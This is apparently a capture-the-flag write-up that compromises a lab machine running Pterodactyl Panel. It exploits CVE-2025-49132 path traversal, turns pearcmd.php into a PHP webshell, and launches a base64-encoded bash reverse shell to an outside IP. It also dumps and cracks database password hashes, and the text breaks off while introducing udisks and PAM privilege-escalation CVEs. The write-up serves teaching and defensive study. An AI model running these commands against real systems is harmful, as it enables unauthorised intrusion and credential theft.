200      GET       54l      123w     1686c http://pterodactyl.htb/index.php
301      GET        7l       11w      169c http://pterodactyl.htb/Public => http://pterodactyl.htb/Public/
200      GET     9854l    93838w  4648650c http://pterodactyl.htb/Public/Header.png
200      GET       54l      123w     1686c http://pterodactyl.htb/
200      GET      828l     4394w    73000c http://pterodactyl.htb/phpinfo.php
[####################] - 56s    60008/60008   0s      found:7       errors:2      
[####################] - 54s    30000/30000   550/s   http://pterodactyl.htb/ 
[####################] - 54s    30000/30000   551/s   http://pterodactyl.htb/Public/   

The only interesting thing is the phpinfo.php page (which was alluded to in the changelog.txt). This page leaks the full PHP configuration:

panel.pterodactyl.htb - TCP 80

Site

This site is an instance of Pterodactyl Panel:

Tech Stack

Pterodactyl describes itself as:

a free, open-source game server management panel built with PHP, React, and Go. Designed with security in mind, Pterodactyl runs all game servers in isolated Docker containers while exposing a beautiful and intuitive UI to end users.

The HTTP response headers show Nginx and PHP:

HTTP/1.1 200 OK
Server: nginx/1.21.5
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/8.4.8
Cache-Control: no-cache, private
Date: Sun, 10 May 2026 17:42:05 GMT
Set-Cookie: XSRF-TOKEN=eyJpdiI6Inh0N1dQV3oxZzZocWR4N0dTaFQ0MHc9PSIsInZhbHVlIjoicEltVlZLc1pPYUlzdWtsREpHeExhTWVySEQ2MTVvbWVHSWdtZ3F2Zi8wRXhteTBqeW5rVm5aQ2ZSWU9BdkszdkxJU1ZLMEt0cHdSSUVaU0pSV2duZ1BRR1BPNDVYR0hiZldwS3RBa0hjNWxkRTUzbCtXd1BLeHVGaG43M1ZGcDYiLCJtYWMiOiJjNGQ4YmE1ODM3MTYxZGE2N2IxNzY5ZGFkNTU2MDFlZDBlOWJmMWYxYzM4OTNjY2Y3OTI1MzlhYjU2OTU5NGNiIiwidGFnIjoiIn0%3D; expires=Mon, 11 May 2026 05:42:05 GMT; Max-Age=43200; path=/; samesite=lax
Set-Cookie: pterodactyl_session=eyJpdiI6InJ2Zkl4Nk5oZkJOdkhRTG1BSTFXQUE9PSIsInZhbHVlIjoiblRJNnlwZzNEd1FPNEd5MkMvOStlMHgveFFPN2p1d2pOL3Z1RjcyeXIyM2JtWGxUVEt1cThldERESWpYN0d1U2RST1piWlh4OEFhb1FmWk44eWxoUXBua0hseHZCZnIxVEt0UjJBNElmc2pNSVorNVA2d2dxTHB3eHhYQkI5RDkiLCJtYWMiOiJjNDliNzIyMGQ5ZTcyYjQ3NzYyNmM2OTE1NmFhNzViZGMyMmU3NGY0ZTY4M2Y3MDg5ZTIzY2VhOWE0MzQzM2YyIiwidGFnIjoiIn0%3D; expires=Mon, 11 May 2026 05:42:05 GMT; Max-Age=43200; path=/; httponly; samesite=lax
Content-Length: 1897

Two cookies are also set. Whenever I see a XSRF-TOKEN and _session, I think Laravel. Looking at the source for Pterodactyl Panel I’ll see that confirmed:

The 404 page just redirects to /. I’ll skip the brute force as it’s open source software.

The changelog.txt file did say this was Panel v1.11.10. Claude also identified this version using the JavaScript bundle:

Shell as wwwrun

CVE-2025-49132

Identify

Searching for vulnerabilities in this version of Pterodactyl Panel shows a lot of references to CVE-2025-49132:

Background

CVE-2025-49132 is described by NVD as:

Pterodactyl is a free, open-source game server management panel. Prior to version 1.11.11, using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated. With the ability to execute arbitrary code it could be used to gain access to the Panel’s server, read credentials from the Panel’s config, extract sensitive information from the database, access files of servers managed by the panel, etc. This issue has been patched in version 1.11.11. There are no software workarounds for this vulnerability, but use of an external Web Application Firewall (WAF) could help mitigate this attack.

If I check the release for version 1.11.11, it has one item:

The NVD page links to this commit for fixing it. The diff is interesting:

Instead of just getting unsanitized data from the Request object, it creates a LocaleRequest object, which is also defined in this commit:

namespace Pterodactyl\Http\Requests\Base;

use Illuminate\Foundation\Http\FormRequest;

class LocaleRequest extends FormRequest
{
    public function rules(): array
    {
        return [
            'locale' => ['required', 'string', 'regex:/^[a-z][a-z]$/'],
            'namespace' => ['required', 'string', 'regex:/^[a-z]{1,191}$/'],
        ];
    }
}

Now it filters the locale to be exactly two lowercase characters, and the namespace to be between 1 and 191 lowercase characters.

Vulnerable Code

To see what the bug actually looks like in the running version, I’ll walk through the three pieces in the v1.11.10 tag.

First, routes/base.php (source) defines three routes:

use Illuminate\Support\Facades\Route;
use Pterodactyl\Http\Controllers\Base;
use Pterodactyl\Http\Middleware\RequireTwoFactorAuthentication;

Route::get('/', [Base\IndexController::class, 'index'])->name('index')->fallback();
Route::get('/account', [Base\IndexController::class, 'index'])
    ->withoutMiddleware(RequireTwoFactorAuthentication::class)
    ->name('account');

Route::get('/locales/locale.json', Base\LocaleController::class)
    ->withoutMiddleware(['auth', RequireTwoFactorAuthentication::class])
    ->where('namespace', '.*');

Route::get('/{react}', [Base\IndexController::class, 'index'])
    ->where('react', '^(?!(\/)?(api|auth|admin|daemon)).+');

The interesting one here is /locales/locale.json, which has two important modifiers:

withoutMiddleware(['auth', RequireTwoFactorAuthentication::class]) exposes this endpoint pre-auth.
where('namespace', '.*') explicitly tells Laravel that the namespace route parameter may contain any characters.

The controller in app/Http/Controllers/Base/LocaleController.php (source) defines the route:

public function __invoke(Request $request): JsonResponse
{
    $locales = explode(' ', $request->input('locale') ?? '');
    $namespaces = explode(' ', $request->input('namespace') ?? '');

    $response = [];
    foreach ($locales as $locale) {
        $response[$locale] = [];
        foreach ($namespaces as $namespace) {
            $response[$locale][$namespace] = $this->i18n(
                $this->loader->load($locale, str_replace('.', '/', $namespace))
            );
        }
    }
    ...
}

Both locale and namespace come straight off the query string with no validation, and are handed to $this->loader->load().

$this->loader is Laravel’s Illuminate\Translation\FileLoader. load() passes through to loadPath() in FileLoader.php lines 120–127, where the two parameters from load are passed as $locale and $group:

protected function loadPath($path, $locale, $group)
{
    if ($this->files->exists($full = "{$path}/{$locale}/{$group}.php")) {
        return $this->files->getRequire($full);
    }

    return [];
}

getRequire() does a literal require on the path, so any PHP file on disk that the path resolves to gets executed. Because $locale and $group (our namespace) are completely attacker-controlled, .. traversal in locale plus a path in namespace lets us pick any .php file on the box and have PHP require it.

Directory Traversal

Given what I’ve seen above, I control locale and namespace in the resulting URL:

///.php

This means I can include PHP files, but I can’t read files like /etc/passwd because .php would be appended to the end. I can’t use a PHP filter because there’s a bunch of stuff prepended to the front of my input.

I could try to calculate the number of ../ necessary to get back to the root, but I’ll just experiment. I see there’s an index.php in the public folder at the root of the source repo. I’ll find it:

oxdf@hacky$ curl 'http://panel.pterodactyl.htb/locales/locale.json?locale=public&namespace=index'
{"public":{"index":[]}}
oxdf@hacky$ curl 'http://panel.pterodactyl.htb/locales/locale.json?locale=../public&namespace=index'
{"..\/public":{"index":[]}}
oxdf@hacky$ curl 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../public&namespace=index'
Server Error
                        500                    

                        Server Error                    

The empty [] responses from the first two attempts are the loader’s miss path. loadPath() only calls getRequire() if the file exists, otherwise it returns []. The 500 page is the win. PHP successfully required public/index.php (Laravel’s front controller) and crashed bootstrapping a second application from inside the running one. Two ../ is the right depth, and from here I can include any .php file under the project root.

Database

One useful thing to try is to leak DB creds. The connection is configured in config/database.php:

I’ll grab that using the traversal:

oxdf@hacky$ curl 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../config&namespace=database' -s | jq .
{
  "../../config": {
    "database": {
      "default": "mysql",
      "connections": {
        "mysql": {
          "driver": "mysql",
          "url": "",
          "host": "127.0.0.1",
          "port": "3306",
          "database": "panel",
          "username": "pterodactyl",
          "password": "PteraPanel",
          "unix_socket": "",
          "charset": "utf8mb4",
          "collation": "utf8mb4_unicode_ci",
          "prefix": "",
          "prefix_indexes": "1",
          "strict": "",
          "timezone": "+00{{00}}",
          "sslmode": "prefer",
          "options": {
            "1014": "1"
          }
        }
      },
      "migrations": "migrations",
      "redis": {
        "client": "predis",
        "options": {
          "cluster": "redis",
          "prefix": "pterodactyl_database_"
        },
        "default": {
          "scheme": "tcp",
          "path": "/run/redis/redis.sock",
          "host": "127.0.0.1",
          "username": "",
          "password": "",
          "port": "6379",
          "database": "0",
          "context": []
        },
        "sessions": {
          "scheme": "tcp",
          "path": "/run/redis/redis.sock",
          "host": "127.0.0.1",
          "username": "",
          "password": "",
          "port": "6379",
          "database": "1",
          "context": []
        }
      }
    }
  }
}

There is a username and password, but it doesn’t work over SSH and I can’t access the database from here.

RCE via pearcmd.php

Background

The changelog shows that the PHP-PEAR package manager is installed. PEAR has largely been superseded by Composer in modern PHP, but it still shows up, especially in Docker. PEAR ships its CLI entry-point as a plain PHP file at /usr/local/lib/php/pearcmd.php. This is a really nice target for my LFI because it ends in .php. Hacktricks documents a generic pearcmd.php LFI-to-RCE technique as:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1

This is an odd URL structure, which is taking advantage of PHP’s register_argc_argv setting, which is enabled on Pterodactyl:

It’s not well documented, but looking at the PHP source code in php_variables.c on lines 655-711 is a function named php_build_argv. In that function is this bit that shows splitting on +:

	} else 	if (s && *s) {
		while (1) {
			const char *space = strchr(s, '+');
			/* auto-type */
			ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));
			count++;
			if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
				zend_string_efree(Z_STR(tmp));
			}
			if (!space) {
				break;
			}
			s = space + 1;
		}
	}

So the argv from the example is:

i	argv[i]
0	[empty string, before first `+`]
1	`config-create`
2	`/&file=/usr/local/lib/php/pearcmd.php&/`
3	`/tmp/hello.php`

The pearcmd.php file takes a first arg as a command, and that command takes two arguments. The first (argv[2] above) is the content to write to the config file. In this case, that includes the arg with the file path, but since the locale.json response is plain JSON rather than executed PHP, those short-echo tags just show up as static text on the page until the dropped config file is later included via the LFI. The second (argv[3]) is the file path to write.

The strategy is to write a webshell that I can then include in a second request to the LFI.

POC for Pterodactyl

To adjust the POC for Pterodactyl, I’ll need to get the path for pearcmd.php. PHPInfo shows it:

I’ll update the locale variable to point to this:

locale=../../../../../usr/share/php/PEAR
namespace=pearcmd

Two ../ got me back to the project root for public/index.php and config/database.php; five walks me past the root of the project, all the way up to /, and then back down into /usr/share/php/PEAR for pearcmd.php.

I’ll also update the payload to a webshell. Spaces will mess up the URL and the args aren’t URL decoded before being written. I’ll use PHP short-echo tags to write a shell that doesn’t require spaces:

system($_REQUEST[0]);?>

The result is:

oxdf@hacky$ curl -g 'http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/+/tmp/shell.php'
CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels     auto_discover    
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       
PEAR server [DEPRECATED]       master_server    
Default Channel Mirror         preferred_mirror 
Remote Configuration File      remote_config    
PEAR executables directory     bin_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear
PEAR documentation directory   doc_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/docs
PHP extension directory        ext_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/ext
PEAR directory                 php_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/php
PEAR Installer cache directory cache_dir        /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/cache
PEAR configuration file        cfg_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/cfg
directory
PEAR data directory            data_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/data
PEAR Installer download        download_dir     /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/download
directory
Systems manpage files          man_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/man
directory
PEAR metadata directory        metadata_dir     
PHP CLI/CGI binary             php_bin          
php.ini location               php_ini          
--program-prefix passed to     php_prefix       
PHP's ./configure
--program-suffix passed to     php_suffix       
PHP's ./configure
PEAR Installer temp directory  temp_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/temp
PEAR test directory            test_dir         /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/tests
PEAR www files directory       www_dir          /&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&//pear/www
Cache TimeToLive               cache_ttl        
Preferred Package State        preferred_state  
Unix file mask                 umask            
Debug Log Level                verbose          
PEAR password (for             password         
maintainers)
Signature Handling Program     sig_bin          
Signature Key Directory        sig_keydir       
Signature Key Id               sig_keyid        
Package Signature Type         sig_type         
PEAR username (for             username         
maintainers)
User Configuration File        Filename         /tmp/shell.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "/tmp/shell.php"


    
        Server Error
                        500                    

                        Server Error                    

It generates the config file and it’s full of webshells.

I’ll trigger it, including the command as a GET parameter:

oxdf@hacky$ curl -sg 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell&0=id'| head -3
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:97:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/php";s:8:"data_dir";s:98:"/&locale=../../../../../usr/share/php/PEAR&namespace=pearcmd&/uid=474(wwwrun) gid=477(www) groups=477(www)

It worked!

Shell

I’ll make a simple bash reverse shell and base64-encode it for ease of transfer:

oxdf@hacky$ echo 'bash -i >& /dev/tcp/10.10.14.61/443 0>&1' | base64 
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42MS80NDMgMD4mMQo=
oxdf@hacky$ echo 'bash -i  >& /dev/tcp/10.10.14.61/443 0>&1' | base64 
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzIDA+JjEK
oxdf@hacky$ echo 'bash -i  >& /dev/tcp/10.10.14.61/443  0>&1' | base64 
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxCg==
oxdf@hacky$ echo 'bash -i  >& /dev/tcp/10.10.14.61/443  0>&1 ' | base64 
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxIAo=
oxdf@hacky$ echo 'bash -i  >& /dev/tcp/10.10.14.61/443  0>&1  ' | base64 
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK

I keep adding spaces until there are no special characters to reducec potential issues. Now I can send that to the webshell:

oxdf@hacky$ curl -sg 'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&namespace=shell' -G --data-urlencode '0=echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK | base64 -d | bash'

It hangs, but at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.64.117 36096
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
wwwrun@pterodactyl:/var/www/pterodactyl/public> 

I’ll upgrade the shell using the standard trick:

wwwrun@pterodactyl:/var/www/pterodactyl/public> script /dev/null -c bash
script /dev/null -c bash                                   
Script started, output log file is '/dev/null'.                                                                       
wwwrun@pterodactyl:/var/www/pterodactyl/public> ^Z                                                                    
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            ‍reset
reset: unknown terminal type unknown
Terminal type? screen 
wwwrun@pterodactyl:/var/www/pterodactyl/public> 

Shell as phileasfogg3

Enumeration

OS

The machine is actually running openSUSE:

wwwrun@pterodactyl:/> cat /etc/os-release 
NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"

That explains why the versions during nmap enumeration didn’t match cleanly to an OS I’ve documented. I don’t know that there’s a clean mapping of versions to OS versions for openSUSE.

This version should be vulnerable to two recent Linux LPE bugs, CopyFail and DirtyFrag. I’ll dig into both in Beyond Root.

Users

There are two users with home directories in /home:

wwwrun@pterodactyl:/home> ls
headmonitor  phileasfogg3

Those two users, root, and the nobody user have shells configured:

wwwrun@pterodactyl:/> cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash

nobody having a shell is common on openSUSE.

wwwrun has access to phileasfogg3’s home directory because it is world readable:

wwwrun@pterodactyl:/home/phileasfogg3> ls -la
total 24
drwxr-xr-x 1 phileasfogg3 users  156 Dec 31 17:29 .
drwxr-xr-x 1 root         root    46 Nov  7  2025 ..
lrwxrwxrwx 1 root         root     9 Dec 31 17:29 .bash_history -> /dev/null
-rw-r--r-- 1 phileasfogg3 users 1177 Aug 22  2024 .bashrc
drwx------ 1 phileasfogg3 users    0 Mar 15  2022 .cache
drwx------ 1 phileasfogg3 users    0 Mar 15  2022 .config
-rw-r--r-- 1 phileasfogg3 users 1637 Apr  9  2018 .emacs
drwxr-xr-x 1 phileasfogg3 users    0 Mar 15  2022 .fonts
-rw-r--r-- 1 phileasfogg3 users  861 Apr  9  2018 .inputrc
drwx------ 1 phileasfogg3 users    0 Mar 15  2022 .local
-rw-r--r-- 1 phileasfogg3 users 1028 Aug 22  2024 .profile
drwxr-xr-x 1 phileasfogg3 users    0 Mar 15  2022 bin
-rw-r--r-- 1 root         root    33 May 10 20:36 user.txt

I’ll grab user.txt:

wwwrun@pterodactyl:/home/phileasfogg3> cat user.txt
3e5811ea************************

There’s nothing else really interesting here.

Web

The Nginx site configurations are in /etc/nginx/conf.d:

wwwrun@pterodactyl:/> ls /etc/nginx/conf.d/            
00-site.conf  01-pterodactyl.conf

00-site.conf has the redirect to pterodactyl.htb, and a proxy to PHP based from /var/www/html:

server {
    listen 80;
    server_name pterodactyl.htb;

    root /var/www/html;
    index index.php;

    if ($host != pterodactyl.htb) {
        rewrite ^ http://pterodactyl.htb/;
    }

    location / {
        try_files $uri $uri/ =404;
    }

    # PHP handling block goes here
    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass 127.0.0.1:9000;    # TCP endpoint of PHP-FPM
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }

    location ~ /\.ht {
        deny all;
    }

}

There’s nothing too interesting in html.

The config for 01-pterodactyl.conf shows it’s running PHP from /var/www/pterodactyl/public:

server {
    listen 80;
    server_name panel.pterodactyl.htb;

    root /var/www/pterodactyl/public;
    index index.html index.htm index.php;
    charset utf-8;

    location / {
        try_files $uri $uri/ /index.php?$query_string;
    }

    # PHP handling block goes here
    location ~ \.php$ {
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass 127.0.0.1:9000;    # TCP endpoint of PHP-FPM
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    }

    location = /favicon.ico { access_log off; log_not_found off; }
    location = /robots.txt  { access_log off; log_not_found off; }

    access_log off;
    error_log  /var/log/nginx/pterodactyl.app-error.log error;

    # allow larger file uploads and longer script runtimes
    client_max_body_size 100m;
    client_body_timeout 120s;

    sendfile off;

    location ~ /\.ht {
        deny all;
    }
}

This also looks like a vanilla install of Pterodactyl:

wwwrun@pterodactyl:/var/www/pterodactyl> ls
BUILDING.md   artisan          docker-compose.example.yml  storage
CHANGELOG.md  babel.config.js  jest.config.js              tailwind.config.js
Dockerfile    bootstrap        package.json                tsconfig.json
LICENSE.md    composer.json    postcss.config.js           vendor
README.md     composer.lock    public                      webpack.config.js
SECURITY.md   config           resources                   yarn.lock
app           database         routes

As I noted above, the database config is in config/database.php. The same username and password are in the .env file:

wwwrun@pterodactyl:/var/www/pterodactyl> cat .env
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
APP_THEME=pterodactyl
APP_TIMEZONE=UTC
APP_URL="http://panel.pterodactyl.htb"
APP_LOCALE=en
APP_ENVIRONMENT_ONLY=false

LOG_CHANNEL=daily
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=panel
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel

REDIS_HOST=127.0.0.1
REDIS_PASSWORD=null
REDIS_PORT=6379

CACHE_DRIVER=redis
QUEUE_CONNECTION=redis
SESSION_DRIVER=redis

HASHIDS_SALT=pKkOnx0IzJvaUXKWt2PK
HASHIDS_LENGTH=8

MAIL_MAILER=smtp
MAIL_HOST=smtp.example.com
MAIL_PORT=25
MAIL_USERNAME=
MAIL_PASSWORD=
MAIL_ENCRYPTION=tls
MAIL_FROM_ADDRESS=no-reply@example.com
MAIL_FROM_NAME="Pterodactyl Panel"
# You should set this to your domain to prevent it defaulting to 'localhost', causing
# mail servers such as Gmail to reject your mail.
#
# @see: https://github.com/pterodactyl/panel/pull/3110
# MAIL_EHLO_DOMAIN=panel.example.com

APP_SERVICE_AUTHOR="pterodactyl@pterodactyl.htb"
PTERODACTYL_TELEMETRY_ENABLED=false
RECAPTCHA_ENABLED=false

Database

I’ll connect to the database using the creds from the config / .env file:

wwwrun@pterodactyl:/var/www/pterodactyl> mariadb -u pterodactyl -pPteraPanel -h 127.0.0.1 panel
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2733
Server version: 11.8.3-MariaDB MariaDB package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [panel]> 

The instance has three dbs:

MariaDB [panel]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| panel              |
| test               |
+--------------------+
3 rows in set (0.001 sec)

test is empty and information_schema is default.

panel has 35 tables:

MariaDB [panel]> show tables;
+-----------------------+
| Tables_in_panel       |
+-----------------------+
| activity_log_subjects |
| activity_logs         |
| allocations           |
| api_keys              |
| api_logs              |
| audit_logs            |
| backups               |
| database_hosts        |
| databases             |
| egg_mount             |
| egg_variables         |
| eggs                  |
| failed_jobs           |
| jobs                  |
| locations             |
| migrations            |
| mount_node            |
| mount_server          |
| mounts                |
| nests                 |
| nodes                 |
| notifications         |
| password_resets       |
| recovery_tokens       |
| schedules             |
| server_transfers      |
| server_variables      |
| servers               |
| sessions              |
| settings              |
| subusers              |
| tasks                 |
| tasks_log             |
| user_ssh_keys         |
| users                 |
+-----------------------+
35 rows in set (0.000 sec)

user_ssh_keys is empty. The most interesting table is users, where there are two entries:

MariaDB [panel]> select * from users;       
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
| id | external_id | uuid                                 | username     | email                        | name_first | name_last | password                                                     | remember_token                                               | language | root_admin | use_totp | totp_secret | totp_authenticated_at | gravatar | created_at          | updated_at          |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
|  2 | NULL        | 5e6d956e-7be9-41ec-8016-45e434de8420 | headmonitor  | headmonitor@pterodactyl.htb  | Head       | Monitor   | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 | OL0dNy1nehBYdx9gQ5CT3SxDUQtDNrs02VnNesGOObatMGzKvTJAaO0B1zNU | en       |          1 |        0 | NULL        | NULL                  |        1 | 2025-09-16 17:15:41 | 2025-09-16 17:15:41 |
|  3 | NULL        | ac7ba5c2-6fd8-4600-aeb6-f15a3906982b | phileasfogg3 | phileasfogg3@pterodactyl.htb | Phileas    | Fogg      | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi | 6XGbHcVLLV9fyVwNkqoMHDqTQ2kQlnSvKimHtUDEFvo4SjurzlqoroUgXdn8 | en       |          0 |        0 | NULL        | NULL                  |        1 | 2025-09-16 19:44:19 | 2025-11-07 18:28:50 |
+----+-------------+--------------------------------------+--------------+------------------------------+------------+-----------+--------------------------------------------------------------+--------------------------------------------------------------+----------+------------+----------+-------------+-----------------------+----------+---------------------+---------------------+
2 rows in set (0.000 sec)

I can get just the hashes:

MariaDB [panel]> select username,password from users;
+--------------+--------------------------------------------------------------+
| username     | password                                                     |
+--------------+--------------------------------------------------------------+
| headmonitor  | $2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 |
| phileasfogg3 | $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi |
+--------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)

Shell

Crack Hashes

I’ll save both hashes to a file. These are bcrypt hashes, so they will be very slow to crack, but one of them cracks within a minute or so on my machine:

$ hashcat -m 3200 hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
hashcat (v7.1.2) starting
...[snip]...
$2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi:!QAZ2wsx
...[snip]...

That’s the hash for phileasfogg3, who is a user on the box.

su / SSH

That password works for su to escalate to phileasfogg3:

wwwrun@pterodactyl:/var/www/pterodactyl> su - phileasfogg3
Password: 
phileasfogg3@pterodactyl:~>

It also works for SSH:

oxdf@hacky$ sshpass -p '!QAZ2wsx' ssh phileasfogg3@pterodactyl.htb
Have a lot of fun...
Last login: Mon May 11 17:56:18 2026 from 10.10.14.61
phileasfogg3@pterodactyl:~> 

Shell as root

Enumeration

sudo

The sudo -l output is a bit different from what typically comes on an Ubuntu or Debian system:

phileasfogg3@pterodactyl:~> sudo -l
[sudo] password for phileasfogg3: 
Matching Defaults entries for phileasfogg3 on pterodactyl:
    always_set_home, env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
    LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE LC_TIME LC_ALL LANGUAGE LINGUAS
    XDG_SESSION_COOKIE", !insults, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin, targetpw

User phileasfogg3 may run the following commands on pterodactyl:
    (ALL) ALL

While this looks exciting, it effectively says that this user can run any command as any user, but the targetpw directive means that I need that target user’s password to do so. This is the default configuration for openSUSE.

So if I try to run sudo su -, it prompts for the root user’s password:

phileasfogg3@pterodactyl:~> sudo su -
[sudo] password for root:

Effectively this is nothing, as if I get any of these passwords, I can just su.

Mail

/var/spool/mail/phileasfogg3 has an email to this user from the system administrator:

/var/spool/mail/phileasfogg3 [ N 1/1 ]

From: headmonitor

Delivered-To: phileasfogg3@pterodactyl

Received: by pterodactyl (Postfix, from userid 0) id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)

To: All Users

Subject: SECURITY NOTICE: Unusual udisksd activity (stay alert)

Message-ID: 202511070915.headmonitor@pterodactyl

Date: Fri, 07 Nov 2025 09:15:00 +0100

MIME-Version: 1.0

Content-Type: text/plain; charset="utf-8"

Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

— HeadMonitor System Administrator

This is a good hint to look at plugging in USB devices. udisksd is the userspace daemon (part of udisks2) that manages storage on Linux by auto-mounting removable media, handling LUKS volumes, querying SMART data. It runs as root and exposes its interface over D-Bus. A flaw in how it parses filesystem metadata or labels on attacker-supplied media would lead to root code execution, which is exactly the attack surface the email’s “unusual udisksd activity” points to.

Escalation via Two CVEs

CVE Identification

Searching for “udisksd cve” returns hits focused around two CVEs:

CVE-2025-8067 is an out-of-bounds read in udisks2’s LoopSetup D-Bus handler that leaks file descriptors from the root-owned daemon, letting an unprivileged caller map them onto a loop device to read root-owned files. It’s reachable here, but only after first using CVE-2025-6018 to get past polkit (SSH sessions can’t call LoopSetup on their own), and even then it just gives me an arbitrary file-read on whichever FD the daemon happened to have open. There’s a potential path to root here, but I’m going to use CVE-2025-6019.

CVE Background

There’s actually two CVEs here. CVE-2025-6018:

A Local Privilege Escalation (LPE) vulnerability has been discovered in pam-config within Linux Pluggable Authentication Modules (PAM). This flaw allows an unprivileged local attacker (for example, a user logged in via SSH) to obtain the elevated privileges normally reserved for a physically present, “allow_active” user. The highest risk is that the attacker can then perform all allow_active yes Polkit actions, which are typically restricted to console users, potentially gaining unauthorized control over system configurations, services, or other sensitive operations.

Basically this allows me to bypass protections that would have required a session from a physical keyboard rather than remote like SSH.

Once I have that, I can abuse CVE-2025-6019:

